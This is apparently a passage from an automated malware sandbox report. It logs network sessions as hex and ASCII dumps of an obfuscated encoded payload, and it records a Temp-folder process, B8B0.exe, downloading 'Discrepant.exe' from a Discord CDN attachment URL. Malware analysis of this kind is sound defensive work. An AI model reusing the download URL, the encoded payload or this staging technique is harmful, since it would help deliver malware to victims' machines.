78 20 52 52 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 52 74 20 78 20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 
20 78 20 52 52 20 78 20 74 74 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 59 20 78 20 52 59 20 78 20 51 78 20 78 20 4f 4f 
51 20 78 20 52 52 20 78 20 4f 78 4b 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 6b 4f 20 78 
20 4f 4f 51 20 78 20 52 52 20 78 20 4f 4f 6b 20 78 20 52 59 20 78 20 74 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 4f 
20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 6f 4f 20 78 20 
Data Ascii: Oxk x RY x tO x kO x RY x kY x OxE x RR x KQ x RY x tO x Yo x RY x RY x RY x RR x OOO x RY x Rt x tE x 
RY x RY x kO x RR x tt x RY x tO x kY x RY x Qx x OOQ x RR x OxK x RY x tO x OOQ x RY x kO x OOQ x RR x OOk x 
RY x to x RY x RY x OxO x kO x RR x OoO x 

2021-11-09 21:21:49 UTC 1189 IN Data Raw: 52 20 78 20 4f 6f 6f 20 78 20 51 51 20 78 20 59 78 20 78 20 59 74 20 78 20 4f 6f 4f 20 78 20 6b 4f 20 78 20 6b 
6b 20 78 20 74 4b 20 78 20 4f 78 52 20 78 20 51 74 20 78 20 74 4f 20 78 20 4f 78 6b 20 78 20 4b 6b 20 78 20 51 78 20 78 
20 6b 74 20 78 20 74 6b 20 78 20 4b 6b 20 78 20 4f 78 78 20 78 20 6b 6b 20 78 20 74 4b 20 78 20 4f 78 6b 20 78 20 6b 
78 20 78 20 6b 45 20 78 20 74 4b 20 78 20 6b 51 20 78 20 74 51 20 78 20 52 6b 20 78 20 6b 51 20 78 20 4f 78 59 20 78 
20 74 45 20 78 20 74 6f 20 78 20 52 52 20 78 20 4b 51 20 78 20 6b 51 20 78 20 4f 78 51 20 78 20 4f 6f 78 20 78 20 4f 4f 6f 
20 78 20 6b 51 20 78 20 4b 6b 20 78 20 4f 4f 52 20 78 20 4f 78 6b 20 78 20 4f 78 4f 20 78 20 6b 52 20 78 20 6b 6f 20 78 
20 4f 4f 6b 20 78 20 51 74 20 78 20 59 78 20 78 20 6b 52 
Data Ascii: R x Ooo x QQ x Yx x Yt x OoO x kO x kk x tK x OxR x Qt x tO x Oxk x Kk x Qx x kt x tk x Kk x Oxx x kk x tK x 
Oxk x kx x kE x tK x kQ x tQ x Rk x kQ x OxY x tE x to x RR x KQ x kQ x OxQ x Oox x OOo x kQ x Kk x OOR x Oxk x OxO 
x kR x ko x OOk x Qt x Yx x kR

2021-11-09 21:21:49 UTC 1192 IN Data Raw: 20 78 20 6b 59 20 78 20 59 6f 20 78 20 74 52 20 78 20 6b 74 20 78 20 74 45 20 78 20 59 45 20 78 20 6b 51 20 
78 20 6b 4b 20 78 20 6b 59 20 78 20 4f 4f 52 20 78 20 74 6b 20 78 20 52 6b 20 78 20 4f 78 4b 20 78 20 4f 78 51 20 78 20 
51 78 20 78 20 52 6b 20 78 20 6b 59 20 78 20 4f 4f 51 20 78 20 6b 51 20 78 20 6b 4b 20 78 20 52 51 20 78 20 4b 51 20 
78 20 6b 51 20 78 20 6b 4b 20 78 20 4f 78 6b 20 78 20 4f 78 4b 20 78 20 4f 78 6f 20 78 20 6b 45 20 78 20 74 45 20 78 20 
4b 45 20 78 20 6b 78 20 78 20 52 74 20 78 20 59 74 20 78 20 4f 6f 6f 20 78 20 4f 78 78 20 78 20 6b 6b 20 78 20 52 52 20 
78 20 4f 4f 51 20 78 20 51 6b 20 78 20 59 4f 20 78 20 74 4b 20 78 20 4b 6b 20 78 20 51 78 20 78 20 6b 74 20 78 20 6b 6f 
20 78 20 6b 78 20 78 20 6b 59 20 78 20 4f 6f 6f 20 78 20 59 
Data Ascii:  x kY x Yo x tR x kt x tE x YE x kQ x kK x kY x OOR x tk x Rk x OxK x OxQ x Qx x Rk x kY x OOQ x kQ x kK x 
RQ x KQ x kQ x kK x Oxk x OxK x Oxo x kE x tE x KE x kx x Rt x Yt x Ooo x Oxx x kk x RR x OOQ x Qk x YO x tK x Kk x 
Qx x kt x ko x kx x kY x Ooo x Y

2021-11-09 21:21:49 UTC 1197 IN Data Raw: 78 20 78 20 52 51 20 78 20 6b 6f 20 78 20 52 51 20 78 20 4f 78 6b 20 78 20 74 51 20 78 20 6b 6f 20 78 20 4b 
51 20 78 20 52 52 20 78 20 52 52 20 78 20 6b 6f 20 78 20 52 51 20 78 20 6b 6f 20 78 20 74 4b 20 78 20 6b 4b 20 78 20 4f 
78 74 20 78 20 4f 78 78 20 78 20 6b 51 20 78 20 6b 74 20 78 20 74 78 20 78 20 52 52 20 78 20 52 52 20 78 20 6b 6f 20 
78 20 52 51 20 78 20 6b 6f 20 78 20 74 4b 20 78 20 6b 4b 20 78 20 4f 78 74 20 78 20 4f 78 78 20 78 20 6b 4f 20 78 20 6b 
4f 20 78 20 6b 59 20 78 20 6b 6f 20 78 20 52 51 20 78 20 6b 45 20 78 20 6b 59 20 78 20 59 45 20 78 20 74 6f 20 78 20 6b 
74 20 78 20 74 78 20 78 20 4f 78 4b 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 6b 59 20 78 20 6b 6f 20 78 20 52 51 20 78 20 
6b 45 20 78 20 6b 59 20 78 20 59 45 20 78 20 74 6f 20 78 20 
Data Ascii: x x RQ x ko x RQ x Oxk x tQ x ko x KQ x RR x RR x ko x RQ x ko x tK x kK x Oxt x Oxx x kQ x kt x tx x RR x R
R x ko x RQ x ko x tK x kK x Oxt x Oxx x kO x kO x kY x ko x RQ x kE x kY x YE x to x kt x tx x OxK x kO x kO x kY x ko x 
RQ x kE x kY x YE x to x 

Timestamp
kBytes
transferred Direction Data
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2021-11-09 21:21:49 UTC 1201 IN Data Raw: 78 20 52 74 20 78 20 59 78 20 78 20 52 74 20 78 20 59 59 20 78 20 74 52 20 78 20 52 52 20 78 20 4b 51 20 
78 20 6b 6f 20 78 20 52 74 20 78 20 4f 78 52 20 78 20 74 4f 20 78 20 59 4f 20 78 20 4f 78 51 20 78 20 74 6b 20 78 20 4f 
78 51 20 78 20 4f 4f 51 20 78 20 4b 45 20 78 20 4f 4f 6f 20 78 20 4f 78 51 20 78 20 51 78 20 78 20 4b 51 20 78 20 74 52 
20 78 20 4f 78 6b 20 78 20 74 6b 20 78 20 52 52 20 78 20 6b 59 20 78 20 6b 51 20 78 20 74 6f 20 78 20 51 51 20 78 20 4f 
4f 6b 20 78 20 4b 6b 20 78 20 59 74 20 78 20 4f 78 51 20 78 20 4f 78 59 20 78 20 52 6b 20 78 20 4f 4f 6b 20 78 20 4f 78 
78 20 78 20 4f 4f 74 20 78 20 59 4f 20 78 20 59 45 20 78 20 74 4b 20 78 20 4f 4f 4f 20 78 20 59 4b 20 78 20 6b 45 20 78 
20 4f 4f 6f 20 78 20 4b 45 20 78 20 6b 4f 20 78 20 51 78 20 
Data Ascii: x Rt x Yx x Rt x YY x tR x RR x KQ x ko x Rt x OxR x tO x YO x OxQ x tk x OxQ x OOQ x KE x OOo x OxQ x 
Qx x KQ x tR x Oxk x tk x RR x kY x kQ x to x QQ x OOk x Kk x Yt x OxQ x OxY x Rk x OOk x Oxx x OOt x YO x YE x tK 
x OOO x YK x kE x OOo x KE x kO x Qx 

2021-11-09 21:21:49 UTC 1205 IN Data Raw: 4f 20 78 20 52 59 20 78 20 4b 51 20 78 20 6b 59 20 78 20 4f 78 78 20 78 20 52 51 20 78 20 6b 4f 20 78 20 6b 
4f 20 78 20 6b 6b 20 78 20 74 74 20 78 20 52 52 20 78 20 6b 74 20 78 20 52 52 20 78 20 52 51 20 78 20 59 4f 20 78 20 
74 6b 20 78 20 4b 51 20 78 20 51 51 20 78 20 74 6f 20 78 20 52 52 20 78 20 4f 4f 6b 20 78 20 51 51 20 78 20 4f 4f 78 20 
78 20 6b 6f 20 78 20 52 59 20 78 20 51 6b 20 78 20 4f 78 51 20 78 20 4f 78 6b 20 78 20 4f 6f 4f 20 78 20 51 51 20 78 20 
59 78 20 78 20 59 74 20 78 20 4f 78 51 20 78 20 4f 78 78 20 78 20 52 74 20 78 20 59 45 20 78 20 4f 4f 74 20 78 20 51 78 
20 78 20 6b 6b 20 78 20 6b 4f 20 78 20 4f 4f 51 20 78 20 52 6b 20 78 20 6b 4f 20 78 20 6b 51 20 78 20 74 4b 20 78 20 74 
59 20 78 20 4f 4f 4f 20 78 20 51 78 20 78 20 74 45 20 78 20 
Data Ascii: O x RY x KQ x kY x Oxx x RQ x kO x kO x kk x tt x RR x kt x RR x RQ x YO x tk x KQ x QQ x to x RR x OOk x 
QQ x OOx x ko x RY x Qk x OxQ x Oxk x OoO x QQ x Yx x Yt x OxQ x Oxx x Rt x YE x OOt x Qx x kk x kO x OOQ x Rk x 
kO x kQ x tK x tY x OOO x Qx x tE x 

2021-11-09 21:21:49 UTC 1209 IN Data Raw: 78 20 78 20 59 78 20 78 20 59 52 20 78 20 4f 78 45 20 78 20 6b 4b 20 78 20 74 4f 20 78 20 4f 78 6b 20 78 20 
4f 4f 52 20 78 20 51 74 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 4f 78 6b 20 78 20 51 78 20 78 20 52 6b 20 78 20 52 51 20 
78 20 4f 78 74 20 78 20 74 74 20 78 20 52 74 20 78 20 74 45 20 78 20 74 4f 20 78 20 52 59 20 78 20 4b 51 20 78 20 6b 
59 20 78 20 52 51 20 78 20 52 59 20 78 20 4f 6f 78 20 78 20 74 74 20 78 20 51 6b 20 78 20 6b 59 20 78 20 59 78 20 78 
20 6b 52 20 78 20 4f 78 52 20 78 20 4f 78 78 20 78 20 74 4f 20 78 20 4f 78 6b 20 78 20 4f 4f 78 20 78 20 51 6b 20 78 20 
4f 6f 4f 20 78 20 52 52 20 78 20 6b 45 20 78 20 6b 59 20 78 20 4b 6b 20 78 20 52 51 20 78 20 4f 78 45 20 78 20 6b 4f 20 
78 20 59 78 20 78 20 59 74 20 78 20 4f 78 74 20 78 20 51 78 20 
Data Ascii: x x Yx x YR x OxE x kK x tO x Oxk x OOR x Qt x kk x ko x Oxk x Qx x Rk x RQ x Oxt x tt x Rt x tE x tO x RY x 
KQ x kY x RQ x RY x Oox x tt x Qk x kY x Yx x kR x OxR x Oxx x tO x Oxk x OOx x Qk x OoO x RR x kE x kY x Kk x RQ 
x OxE x kO x Yx x Yt x Oxt x Qx 

2021-11-09 21:21:49 UTC 1213 IN Data Raw: 78 20 4b 74 20 78 20 52 52 20 78 20 4f 78 45 20 78 20 4f 78 45 20 78 20 4f 4f 4b 20 78 20 52 52 20 78 20 4f 78 
45 20 78 20 52 51 20 78 20 74 78 20 78 20 52 52 20 78 20 6b 4f 20 78 20 51 51 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 
4f 4f 4f 20 78 20 6b 51 20 78 20 4f 6f 6f 20 78 20 51 74 20 78 20 74 6f 20 78 20 6b 6f 20 78 20 4b 6b 20 78 20 51 51 20 78 
20 52 6b 20 78 20 4f 4f 4f 20 78 20 4f 4f 6b 20 78 20 74 52 20 78 20 59 78 20 78 20 74 6b 20 78 20 4f 6f 4f 20 78 20 4f 78 
78 20 78 20 52 74 20 78 20 59 45 20 78 20 4b 51 20 78 20 51 51 20 78 20 59 78 20 78 20 6b 52 20 78 20 4f 6f 4f 20 78 20 
4f 78 78 20 78 20 74 6f 20 78 20 74 4b 20 78 20 4b 51 20 78 20 51 51 20 78 20 59 4f 20 78 20 6b 4f 20 78 20 4f 4f 74 20 
78 20 6b 51 20 78 20 59 78 20 78 20 59 74 20 78 
Data Ascii: x Kt x RR x OxE x OxE x OOK x RR x OxE x RQ x tx x RR x kO x QQ x OOQ x RY x OOO x kQ x Ooo x Qt x to 
x ko x Kk x QQ x Rk x OOO x OOk x tR x Yx x tk x OoO x Oxx x Rt x YE x KQ x QQ x Yx x kR x OoO x Oxx x to x tK x KQ 
x QQ x YO x kO x OOt x kQ x Yx x Yt x

2021-11-09 21:21:49 UTC 1224 IN Data Raw: 20 52 51 20 78 20 6b 4f 20 78 20 74 74 20 78 20 52 59 20 78 20 59 6f 20 78 20 74 4f 20 78 20 52 59 20 78 20 
4b 51 20 78 20 6b 59 20 78 20 52 51 20 78 20 52 52 20 78 20 4f 6f 78 20 78 20 74 74 20 78 20 74 6f 20 78 20 6b 59 20 78 
20 59 78 20 78 20 74 78 20 78 20 4f 4f 59 20 78 20 51 78 20 78 20 4f 78 51 20 78 20 59 74 20 78 20 4f 6f 4f 20 78 20 51 
78 20 78 20 52 6b 20 78 20 52 51 20 78 20 6b 51 20 78 20 74 74 20 78 20 52 52 20 78 20 6b 51 20 78 20 74 4f 20 78 20 
52 59 20 78 20 4b 51 20 78 20 6b 59 20 78 20 52 51 20 78 20 52 74 20 78 20 4f 78 4b 20 78 20 74 74 20 78 20 6b 78 20 
78 20 6b 59 20 78 20 59 78 20 78 20 6b 52 20 78 20 4f 78 52 20 78 20 4f 78 78 20 78 20 74 4f 20 78 20 4f 78 6b 20 78 20 
4f 4f 78 20 78 20 51 6b 20 78 20 4f 6f 4f 20 78 20 52 52 20 78 
Data Ascii:  RQ x kO x tt x RY x Yo x tO x RY x KQ x kY x RQ x RR x Oox x tt x to x kY x Yx x tx x OOY x Qx x OxQ x Yt x 
OoO x Qx x Rk x RQ x kQ x tt x RR x kQ x tO x RY x KQ x kY x RQ x Rt x OxK x tt x kx x kY x Yx x kR x OxR x Oxx x tO x 
Oxk x OOx x Qk x OoO x RR x

2021-11-09 21:21:49 UTC 1229 IN Data Raw: 20 78 20 4f 6f 78 20 78 20 4f 6f 78 20 78 20 6b 51 20 78 20 6b 6f 20 78 20 4f 4f 4b 20 78 20 4b 45 20 78 20 6b 
78 20 78 20 6b 74 20 78 20 4f 4f 59 20 78 20 6b 52 20 78 20 52 52 20 78 20 4f 4f 78 20 78 20 51 74 20 78 20 51 51 20 78 
20 6b 74 20 78 20 74 51 20 78 20 59 74 20 78 20 6b 6b 20 78 20 4f 4f 78 20 78 20 6b 4f 20 78 20 4f 4f 4b 20 78 20 4f 78 6f 
20 78 20 4b 45 20 78 20 74 6f 20 78 20 4f 6f 6f 20 78 20 6b 78 20 78 20 4f 78 4b 20 78 20 4b 74 20 78 20 4f 4f 45 20 78 
20 4f 4f 6b 20 78 20 4f 78 51 20 78 20 4f 78 59 20 78 20 59 59 20 78 20 6b 74 20 78 20 74 6f 20 78 20 59 6f 20 78 20 4f 6f 
4f 20 78 20 74 45 20 78 20 4b 51 20 78 20 4f 4f 6f 20 78 20 59 78 20 78 20 4f 4f 4b 20 78 20 74 6f 20 78 20 4b 6b 20 78 
20 6b 59 20 78 20 51 78 20 78 20 74 6f 20 78 20 
Data Ascii:  x Oox x Oox x kQ x ko x OOK x KE x kx x kt x OOY x kR x RR x OOx x Qt x QQ x kt x tQ x Yt x kk x OOx x kO 
x OOK x Oxo x KE x to x Ooo x kx x OxK x Kt x OOE x OOk x OxQ x OxY x YY x kt x to x Yo x OoO x tE x KQ x OOo x Yx 
x OOK x to x Kk x kY x Qx x to x 

2021-11-09 21:21:49 UTC 1245 IN Data Raw: 78 20 6b 52 20 78 20 74 51 20 78 20 52 52 20 78 20 4f 78 74 20 78 20 6b 6b 20 78 20 6b 6b 20 78 20 4f 78 6f 
20 78 20 52 59 20 78 20 59 4f 20 78 20 4f 4f 4f 20 78 20 4f 6f 4f 20 78 20 52 74 20 78 20 4f 6f 4f 20 78 20 4b 6b 20 78 20 
4f 78 6b 20 78 20 4f 78 4b 20 78 20 52 52 20 78 20 74 4f 20 78 20 4f 6f 4f 20 78 20 4f 4f 59 20 78 20 74 6b 20 78 20 4f 4f 
59 20 78 20 4f 4f 45 20 78 20 4f 78 6f 20 78 20 6b 45 20 78 20 4f 4f 4f 20 78 20 74 78 20 78 20 59 74 20 78 20 51 6b 20 
78 20 4f 4f 51 20 78 20 59 59 20 78 20 74 4b 20 78 20 4b 74 20 78 20 6b 6f 20 78 20 51 74 20 78 20 4f 4f 4f 20 78 20 74 
52 20 78 20 4f 78 6b 20 78 20 74 4b 20 78 20 6b 74 20 78 20 51 78 20 78 20 52 59 20 78 20 4f 4f 6f 20 78 20 51 6b 20 78 
20 74 4f 20 78 20 74 6f 20 78 20 74 52 20 78 20 4f 
Data Ascii: x kR x tQ x RR x Oxt x kk x kk x Oxo x RY x YO x OOO x OoO x Rt x OoO x Kk x Oxk x OxK x RR x tO x OoO x 
OOY x tk x OOY x OOE x Oxo x kE x OOO x tx x Yt x Qk x OOQ x YY x tK x Kt x ko x Qt x OOO x tR x Oxk x tK x kt x Qx 
x RY x OOo x Qk x tO x to x tR x O

2021-11-09 21:21:49 UTC 1256 IN Data Raw: 78 20 6b 78 20 78 20 4f 4f 4b 20 78 20 4f 78 59 20 78 20 4f 4f 4f 20 78 20 4f 4f 4b 20 78 20 4f 78 59 20 78 20 4f 
4f 52 20 78 20 4f 6f 4f 20 78 20 52 74 20 78 20 4f 78 6b 20 78 20 51 74 20 78 20 4f 4f 59 20 78 20 4f 4f 59 20 78 20 45 6f 
20 78 20 45 4b 20 78 20 45 4b 20 78 20 59 4f 20 78 20 59 78 20 78 20 45 4b 20 78 20 45 4b 20 78 20 45 6f 20 78 20 4b 
74 20 78 20 52 74 20 78 20 4f 4f 4f 20 78 20 4f 78 51 20 78 20 4f 78 51 20 78 20 51 74 20 78 20 4f 4f 78 20 78 20 4f 78 78 
20 78 20 74 52 20 78 20 4f 78 59 20 78 20 4f 4f 78 20 78 20 4f 78 4f 20 78 20 45 6f 20 78 20 45 4b 20 78 20 45 4b 20 78 
20 45 6f 20 78 20 4b 74 20 78 20 6b 45 20 78 20 4f 4f 52 20 78 20 51 74 20 78 20 4f 4f 4b 20 78 20 4f 4f 52 20 78 20 52 6b
20 78 20 4f 78 59 20 78 20 4f 4f 4b 20 78 20 
Data Ascii: x kx x OOK x OxY x OOO x OOK x OxY x OOR x OoO x Rt x Oxk x Qt x OOY x OOY x Eo x EK x EK x YO x Y
x x EK x EK x Eo x Kt x Rt x OOO x OxQ x OxQ x Qt x OOx x Oxx x tR x OxY x OOx x OxO x Eo x EK x EK x Eo x Kt x kE 
x OOR x Qt x OOK x OOR x Rk x OxY x OOK x 

Timestamp
kBytes
transferred Direction Data
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2021-11-09 21:21:49 UTC 1272 IN Data Raw: 4f 6f 4f 20 78 20 4f 78 52 20 78 20 4f 4f 45 20 78 20 4f 78 51 20 78 20 4f 78 6b 20 78 20 4f 4f 59 20 78 20 4f 78 
45 20 78 20 4f 4f 59 20 78 20 45 74 20 78 20 4f 78 78 20 78 20 45 74 20 78 20 4f 78 6b 20 78 20 4f 4f 59 20 78 20 4f 78 6f 
20 78 20 51 51 20 78 20 4f 4f 6b 20 78 20 4f 78 4f 20 78 20 4f 78 52 20 78 20 4f 78 52 20 78 20 4f 78 4b 20 78 20 4f 78 52 
20 78 20 4f 4f 78 20 78 20 45 74 20 78 20 4f 78 59 20 78 20 45 74 20 78 20 4f 4f 45 20 78 20 4f 4f 6b 20 78 20 4f 6f 6f 20 
78 20 4f 78 4f 20 78 20 4f 4f 6b 20 78 20 4f 4f 78 20 78 20 45 74 20 78 20 51 51 20 78 20 45 74 20 78 20 4f 78 51 20 78 
20 4f 78 6b 20 78 20 4f 4f 52 20 78 20 4f 4f 6b 20 78 20 4f 78 59 20 78 20 4f 4f 45 20 78 20 4f 78 52 20 78 20 4f 78 6b 20 
78 20 4f 78 78 20 78 20 4f 78 4f 20 78 
Data Ascii: OoO x OxR x OOE x OxQ x Oxk x OOY x OxE x OOY x Et x Oxx x Et x Oxk x OOY x Oxo x QQ x OOk x OxO x 
OxR x OxR x OxK x OxR x OOx x Et x OxY x Et x OOE x OOk x Ooo x OxO x OOk x OOx x Et x QQ x Et x OxQ x Oxk x 
OOR x OOk x OxY x OOE x OxR x Oxk x Oxx x OxO x

2021-11-09 21:21:49 UTC 1288 IN Data Raw: 59 20 78 20 4f 78 6b 20 78 20 4f 4f 59 20 78 20 4f 78 74 20 78 20 51 6b 20 78 20 4f 4f 78 20 78 20 45 74 20 78 
20 4f 78 59 20 78 20 45 74 20 78 20 4f 78 59 20 78 20 4f 6f 6f 20 78 20 4f 4f 4f 20 78 20 4f 4f 78 20 78 20 4f 78 78 20 78 
20 45 74 20 78 20 4f 4f 59 20 78 20 45 74 20 78 20 4f 4f 6f 20 78 20 4f 4f 6b 20 78 20 4f 4f 6b 20 78 20 4f 78 59 20 78 20 
4f 78 78 20 78 20 51 6b 20 78 20 4f 4f 78 20 78 20 4f 78 78 20 78 20 4f 78 45 20 78 20 4f 78 45 20 78 20 45 74 20 78 20 
51 74 20 78 20 45 74 20 78 20 4f 4f 59 20 78 20 4f 4f 52 20 78 20 4f 78 59 20 78 20 4f 4f 4b 20 78 20 4f 6f 4f 20 78 20 4f 6f
6f 20 78 20 4f 78 52 20 78 20 4f 4f 6b 20 78 20 4f 4f 6b 20 78 20 4f 78 4f 20 78 20 4f 78 78 20 78 20 4f 4f 78 20 78 20 45 
74 20 78 20 51 6b 20 78 20 45 74 20 78 
Data Ascii: Y x Oxk x OOY x Oxt x Qk x OOx x Et x OxY x Et x OxY x Ooo x OOO x OOx x Oxx x Et x OOY x Et x OOo x 
OOk x OOk x OxY x Oxx x Qk x OOx x Oxx x OxE x OxE x Et x Qt x Et x OOY x OOR x OxY x OOK x OoO x Ooo x OxR x 
OOk x OOk x OxO x Oxx x OOx x Et x Qk x Et x

2021-11-09 21:21:49 UTC 1304 IN Data Raw: 20 78 20 6b 6f 20 78 20 4f 4f 74 20 78 20 4f 4f 78 20 78 20 78 20 6b 59 20 6b 45 20 78 20 4f 4f 4f 20 78 20 4f 
78 6f 20 78 20 4f 4f 52 20 78 20 4f 4f 51 20 78 20 51 74 20 78 20 4f 4f 4b 20 78 20 4f 78 4f 20 78 20 51 6f 20 78 20 52 74 
20 78 20 4f 78 6b 20 78 20 51 74 20 78 20 4f 4f 59 20 78 20 4f 4f 59 20 78 20 4f 78 4f 20 78 20 4f 4f 59 20 78 20 51 6f 20 
78 20 74 78 20 78 20 4f 4f 4f 20 78 20 4f 78 6b 20 78 20 4f 78 78 20 78 20 4f 78 4f 20 78 20 4f 4f 4b 20 78 20 51 6f 20 78 
20 4f 4f 59 20 78 20 4f 78 4b 20 78 20 4f 78 4f 20 78 20 4f 78 6b 20 78 20 4f 78 6b 20 78 20 51 6f 20 78 20 4f 4f 4f 20 78 
20 4f 4f 6f 20 78 20 4f 78 4f 20 78 20 4f 4f 78 20 78 20 51 6f 20 78 20 51 51 20 78 20 4f 4f 4f 20 78 20 4f 78 51 20 78 20 4f 
78 51 20 78 20 51 74 20 78 20 4f 4f 
Data Ascii:  x ko x OOt x OOx x x kY kE x OOO x Oxo x OOR x OOQ x Qt x OOK x OxO x Qo x Rt x Oxk x Qt x OOY x 
OOY x OxO x OOY x Qo x tx x OOO x Oxk x Oxx x OxO x OOK x Qo x OOY x OxK x OxO x Oxk x Oxk x Qo x OOO x 
OOo x OxO x OOx x Qo x QQ x OOO x OxQ x OxQ x Qt x OO

2021-11-09 21:21:49 UTC 1320 IN Data Raw: 20 78 20 4f 4f 6b 20 78 20 51 51 20 78 20 74 6b 20 78 20 51 74 20 78 20 4f 78 51 20 78 20 4f 78 4f 20 78 20 
52 4f 20 78 20 45 4b 20 78 20 52 74 20 78 20 4f 4f 4f 20 78 20 4f 4f 4b 20 78 20 4f 4f 6f 20 78 20 6b 52 20 78 20 6b 78 20 
78 20 74 6b 20 78 20 45 4b 20 78 20 4f 45 20 78 20 4f 78 20 78 20 4f 45 20 78 20 4f 78 20 78 20 78 20 59 51 20 51 51 20 
78 20 59 6b 20 78 20 51 6f 20 78 20 4f 4f 51 20 78 20 4f 78 59 20 78 20 4f 4f 78 20 78 20 4f 78 78 20 78 20 4f 4f 4f 20 78 
20 4f 4f 51 20 78 20 4f 4f 59 20 78 20 51 6f 20 78 20 4f 4f 59 20 78 20 4f 6f 4f 20 78 20 4f 4f 59 20 78 20 4f 4f 52 20 78 20 
4f 78 4f 20 78 20 4f 78 51 20 78 20 59 4f 20 78 20 59 78 20 78 20 51 6f 20 78 20 51 51 20 78 20 4f 78 51 20 78 20 4f 4f 59 
20 78 20 4f 4f 52 20 78 20 4f 4f 6f 20 78 
Data Ascii:  x OOk x QQ x tk x Qt x OxQ x OxO x RO x EK x Rt x OOO x OOK x OOo x kR x kx x tk x EK x OE x Ox x OE x 
Ox x x YQ QQ x Yk x Qo x OOQ x OxY x OOx x Oxx x OOO x OOQ x OOY x Qo x OOY x OoO x OOY x OOR x OxO x Ox
Q x YO x Yx x Qo x QQ x OxQ x OOY x OOR x OOo x

2021-11-09 21:21:49 UTC 1336 IN Data Raw: 45 20 52 6f 20 4f 45 20 4f 78 20 4f 45 20 4f 78 20 52 78 20 51 74 20 4f 4f 59 20 4f 4f 59 20 4f 78 4f 20 4f 78 51 
20 51 6b 20 4f 78 6b 20 4f 6f 4f 20 45 6f 20 4f 6f 78 20 4f 78 51 20 4f 78 6b 20 4f 4f 78 20 4f 4f 59 20 52 4f 20 45 4b 20 4f 
4f 74 20 4f 4f 4b 20 4f 4f 78 20 59 6b 20 4f 4f 59 20 51 51 20 4f 78 4b 20 4f 78 4f 20 4f 78 51 20 51 74 20 4f 4f 59 20 4b 59 
20 4f 78 51 20 4f 78 59 20 51 51 20 4f 4f 4b 20 4f 4f 4f 20 4f 4f 59 20 4f 4f 4f 20 4f 78 6f 20 4f 4f 52 20 4b 59 20 51 51 20 4f
4f 4f 20 4f 78 51 20 59 6b 20 51 74 20 4f 4f 59 20 4f 78 51 20 4b 52 20 4f 4f 6b 20 4b 51 20 45 4b 20 45 6f 20 4f 78 51 20 
51 74 20 4f 4f 78 20 4f 78 59 20 4f 78 6f 20 4f 78 4f 20 4f 4f 59 20 4f 4f 52 20 6b 52 20 4f 78 4f 20 4f 4f 4b 20 4f 4f 59 20 4f 
78 59 20 4f 4f 4f 
Data Ascii: E Ro OE Ox OE Ox Rx Qt OOY OOY OxO OxQ Qk Oxk OoO Eo Oox OxQ Oxk OOx OOY RO EK OOt OOK O
Ox Yk OOY QQ OxK OxO OxQ Qt OOY KY OxQ OxY QQ OOK OOO OOY OOO Oxo OOR KY QQ OOO OxQ Yk Qt OOY 
OxQ KR OOk KQ EK Eo OxQ Qt OOx OxY Oxo OxO OOY OOR kR OxO OOK OOY OxY OOO

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

2 192.168.2.4 49880 162.159.134.233 443 C:\Users\user\AppData\Local\Temp\B8B0.exe

Timestamp
kBytes
transferred Direction Data

2021-11-09 21:22:01 UTC 1339 OUT GET /attachments/906160963437363273/906989761716187247/Discrepant.exe HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: cdn.discordapp.com
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2021-11-09 21:22:01 UTC 1340 IN HTTP/1.1 200 OK
Date: Tue, 09 Nov 2021 21:22:01 GMT
Content-Type: application/x-msdos-program
Content-Length: 399872
Connection: close
CF-Ray: 6aba18169a4b4ab0-FRA
Accept-Ranges: bytes
Age: 179054
Cache-Control: public, max-age=31536000
Content-Disposition: attachment;%20filename=Discrepant.exe
ETag: "0f289285cadcf1e656016a19789b5637"
Expires: Wed, 09 Nov 2022 21:22:01 GMT
Last-Modified: Sun, 07 Nov 2021 19:33:30 GMT
Vary: Accept-Encoding
CF-Cache-Status: HIT
Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
x-goog-generation: 1636313610329016
x-goog-hash: crc32c=HtVoYg==
x-goog-hash: md5=DyiShcrc8eZWAWoZeJtWNw==
x-goog-metageneration: 1
x-goog-storage-class: STANDARD
x-goog-stored-content-encoding: identity
x-goog-stored-content-length: 399872
X-GUploader-UploadID: ADPycdu5XvW9lV50x8pecyrCFfc74-MKULQrEtAJQwILwfUMLEoXHwChn9zCDiMGUv1J
tpqIvTgHzvWJpWVYFB3NdaaAfJSW-g
X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp

2021-11-09 21:22:01 UTC 1341 IN Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 
70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 33 3f 73 
3d 4e 4b 6e 71 66 5a 72 77 36 55 34 30 6c 44 56 76 53 32 4d 37 6a 49 38 25 32 42 47 32 45 25 32 46 43 42 44 54 6e 53 
66 72 55 50 6d 7a 74 41 6f 66 72 41 46 46 46 32 67 44 44 77 55 62 41 68 53 71 4a 36 68 4b 35 48 42 30 6a 42 43 41 73 
76 67 4f 25 32 42 67 72 68 31 6c 74 7a 73 59 4d 78 59 77 75 70 68 25 32 46 44 75 45 44 45 37 6d 67 63 51 79 45 58 45 
4e 31 77 65 73 75 4f 7a 75 61 73 46 4a 52 44 74 51 58 51 6c 6b 32 62 25 32 42 76 51 25 33 44 25 33 44 22 7d 5d 2c 22 6
7 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 
